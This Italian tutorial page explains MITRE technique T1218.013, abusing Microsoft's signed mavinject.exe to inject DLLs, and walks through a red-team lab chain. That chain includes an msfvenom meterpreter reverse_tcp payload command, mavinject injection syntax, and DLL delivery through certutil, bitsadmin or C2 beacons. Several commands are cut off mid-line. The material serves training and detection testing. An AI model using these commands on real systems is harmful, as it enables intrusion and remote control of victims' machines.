Abuso di Mavinject: Mavinject (T1218.013)
Mavinject.exe è il Microsoft Application Virtualization Injector, un'utility Windows legittima distribuita come parte di Microsoft App-V e firmata digitalmente da Microsoft. La sua funzione originale consiste nell'iniettare codice in processi esterni per supportare la virtualizzazione applicativa, ma questa stessa capacità la trasforma in un vettore ideale per il proxy di esecuzione malevolo.
La tecnica ricade nella tattica TA0005 (Defense Evasion) e sfrutta il principio del Living-off-the-Land Binary (LOLBIN): un attaccante che abbia già ottenuto foothold su un endpoint può caricare una DLL arbitraria in un processo target invocando C:\Windows\system32\mavinject.exe PID /INJECTRUNNING PATH_DLL, oppure iniettare un import descriptor tramite il parametro /HMODULE. Poiché il binario è firmato Microsoft e nativo del sistema, molti prodotti di sicurezza tendono a considerarne l'esecuzione affidabile, mascherando l'attività malevola sotto un processo legittimo.
L'impatto operativo è significativo: la tecnica bypassa controlli di application whitelisting mal configurati, elude firme statiche antivirus e consente di ereditare il contesto di sicurezza del processo target (utile per persistenza, credential access o pivot). Nella kill chain si colloca tipicamente dopo l'Initial Access, durante le fasi di Execution ed Evasion, spesso preludendo a Credential Access o Command and Control. Con 1 famiglia malware documentata da MITRE (TONESHELL) e 2 mitigazioni raccomandate, T1218.013 rappresenta un esempio paradigmatico di come binari di sistema legittimi diventino armi offensive nelle mani di threat actor sofisticati.
Il red teamer che simula T1218.013 deve prima verificare la presenza di mavinject.exe sul target: il binario è presente di default su Windows 10/11 e Windows Server anche quando App-V non è configurato, il che lo rende universalmente disponibile. Il percorso standard è C:\Windows\System32\mavinject.exe (versione a 64 bit) e C:\Windows\SysWOW64\mavinject.exe (32 bit).
La catena d'attacco tipica in laboratorio prevede tre fasi. Nella prima si prepara una DLL payload con msfvenom (open source, incluso in Metasploit Framework):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=
Nella seconda fase si identifica un processo target vittima con PID noto — tipicamente un processo utente a media integrità come notepad.exe o explorer.exe — evitando in lab processi critici (LSASS, Winlogon) per non destabilizzare il sistema. Il comando di iniezione è:
mavinject.exe
La variante import descriptor injection utilizza invece:
mavinject.exe
dove base_address è l'indirizzo di un modulo caricato nel target (recuperabile con Process Hacker — open source — o Process Explorer di Sysinternals, gratuito).
Per un engagement realistico, il red teamer combina T1218.013 con tecniche di consegna della DLL: staging via SMB share, download tramite certutil o bitsadmin, o scrittura diretta da un beacon Cobalt Strike (a pagamento) o Sliver (open source). Il framework Sliver supporta nativamente l'esecuzione di comandi arbitrari post-exploitation e si integra bene con questa tecnica.
Un dettaglio operativo importante: la DLL iniettata deve esportare DllMain correttamente e gestire DLL_PROCESS_ATTACH, poiché è lì che il codice verrà eseguito nel contesto del processo target. Il red teamer deve anche considerare l'architettura: una DLL a 64 bit richiede mavinject.exe a 64 bit e un target a 64 bit.
Per testare la detection, vale la pena variare i parent process che lanciano mavinject.exe: uno scenario realistico prevede l'esecuzione da parte di un processo Office compromesso o di un script host (wscript.exe, powershell.exe), pattern che il SOC dovrebbe intercettare. Strumenti come Atomic Red Team (open source, di Red Canary) includono test atomici documentati per T1218.013 utili come baseline di validazione dei controlli difensivi.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo